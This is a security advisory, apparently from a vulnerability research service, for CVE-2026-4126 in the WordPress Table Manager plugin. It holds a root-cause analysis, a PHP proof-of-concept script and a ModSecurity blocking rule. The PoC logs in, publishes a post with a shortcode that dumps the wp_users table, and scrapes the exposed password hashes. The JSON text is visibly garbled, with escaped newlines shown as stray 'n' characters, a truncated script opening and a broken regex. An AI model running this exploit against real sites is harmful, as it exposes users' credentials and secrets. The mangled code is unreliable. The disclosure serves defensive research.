CVE-2026-4126: Table Manager <= 1.0.0 – Authenticated (Contributor+) Sensitive Information Exposure via 'table' Shortcode Attribute (table-manager)

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-4126 (metadata-based): This vulnerability in the Table Manager plugin (prefix. The code then runs DESC and SELECT * queries on this arbitrary table name, rendering all results to the frontend. The plugin maintains a list of allowed tables in the ‘tablemanager_created_tables’ option, but this option is only checked in admin functions, never in the shortcode handler. Atomic Edge research confirms this is the root cause based on the explicit description of the vulnerability, though no source code was available for verification.nnExploitation: An attacker with Contributor-level access or higher creates a post or page containing the shortcode [table_manager table=”{target_table}”] where {target_table} is the name of a WordPress core or plugin table (without the prefix). For example, [table_manager table=”users”] would query wp_users and display all user data including hashed passwords. Any authenticated user with the ‘edit_posts’ capability can inject this shortcode into content. The shortcode is processed during page rendering, causing the plugin to execute DESC wp_users and SELECT * FROM wp_users, outputting the entire contents to the frontend HTML. The attacker simply visits the page containing the malicious shortcode to see the exposed data.nnRemediation: The fix requires adding an allowlist check in the shortcode handler. Before executing any query, the plugin must retrieve the ‘tablemanager_created_tables’ option and verify that the user-supplied table name (after prepending the prefix) exists in that list. Alternatively, the plugin could join with the options table to validate. The fix should also include a capability check (though Contributor+ is a reasonable baseline) and should not expose raw database results to unauthenticated users. Patching requires updating the tablemanager_render_table_shortcode() function to reject any table not in the plugin’s registry.nnImpact: Successful exploitation exposes sensitive data from any WordPress database table. This includes user credentials (hashed passwords from wp_users), session tokens, API keys stored in wp_options, post content including private/draft posts, and any plugin-specific sensitive data. While the CVSS score is 4.3 (Medium) due to the Contributor+ requirement and low confidentiality impact assessment, the actual risk is higher as it can expose password hashes that may be cracked offline, leading to privilege escalation.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2026-4126 – Table Manager true,n CURLOPT_POSTFIELDS => http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => 1n ]),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEJAR => ‘/tmp/cve-2026-4126-cookies.txt’,n CURLOPT_FOLLOWLOCATION => false,n CURLOPT_HEADER => truen]);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 2: Get wp-admin page to extract nonce for post creationn$admin_url = $target_url . ‘/wp-admin/post-new.php’;n$ch = curl_init($admin_url);ncurl_setopt_array($ch, [n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEFILE => ‘/tmp/cve-2026-4126-cookies.txt’,n CURLOPT_HEADER => truen]);n$response = curl_exec($ch);ncurl_close($ch);nn// Extract nonce from responsenpreg_match(‘/name=”_wpnonce” value=”([a-f0-9]+)”/’, $response, $matches);n$nonce = $matches[1] ?? ”;nn// Step 3: Create a new post with the malicious shortcoden// The shortcode [table_manager table=”users”] will render wp_users table contentsn$post_data = [n ‘post_title’ => ‘Table Exposure PoC’,n ‘post_content’ => ‘[table_manager table=”users”]’,n ‘post_status’ => ‘publish’,n ‘post_type’ => ‘post’,n ‘_wpnonce’ => $nonce,n ‘action’ => ‘editpost’n];nn$post_url = $target_url . ‘/wp-admin/post.php’;n$ch = curl_init($post_url);ncurl_setopt_array($ch, [n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query($post_data),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEFILE => ‘/tmp/cve-2026-4126-cookies.txt’,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_HEADER => truen]);n$response = curl_exec($ch);n$post_id = 0;nif (preg_match(‘/post=([0-9]+)/’, curl_getinfo($ch, CURLINFO_EFFECTIVE_URL), $m)) {n $post_id = (int)$m[1];n}ncurl_close($ch);nn// Step 4: Retrieve the published post to see the exposed datanif ($post_id) {n $view_url = $target_url . ‘/?p=’ . $post_id;n $ch = curl_init($view_url);n curl_setopt_array($ch, [n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEFILE => ‘/tmp/cve-2026-4126-cookies.txt’n ]);n $content = curl_exec($ch);n curl_close($ch);n n // Extract and display the table data (user credentials exposed)n // The plugin renders DESC first, then SELECT * – look for table outputn echo “Exploited! Exposed data:\n”;n if (preg_match_all(‘/

]*>([^<]+)/’, $content, $cells)) {n echo “Found ” . count($cells[1]) . ” cells of database output.\n”;n echo “First 30 cells (likely user table column headers and data):\n”;n for ($i = 0; $i < min(30, count($cells[1])); $i++) {n echo " [" . $i . "] " . html_entity_decode($cells[1][$i]) . "\n";n }n } else {n echo "No table data extracted. Check if shortcode was processed or post is visible.\n";n }n} else {n echo "Failed to create post.\n";n}nn// Cleanupnecho "\nPoC complete. To test other tables, change users to options, postmeta, etc.\n";n",
"modsecurity_rule": "{n "analysis": "# Atomic Edge WAF Rule – CVE-2026-4126 (metadata-based)\n# This rule blocks the Table Manager shortcode exploitation by detecting the 'table' parameter\n# in post content that attempts to access non-plugin tables (like 'users', 'options', etc.)\n\nSecRule REQUEST_URI \"@contains /wp-admin/post.php\" \n \"id:20264126,phase:2,deny,status:403,chain,msg:'CVE-2026-4126 Table Manager malicious shortcode table parameter',severity:'CRITICAL',tag:'CVE-2026-4126'\"\n SecRule ARGS_POST:post_content \"@rx \\[table_manager\\s+table=[\\\"\\']?(?!.*(?:tablemanager_))[a-z0-9_]+[\\\"\\']?\\]\" \"chain\"\n SecRule ARGS_POST:post_status \"@streq publish\" \"t:none\"\n"n}
“`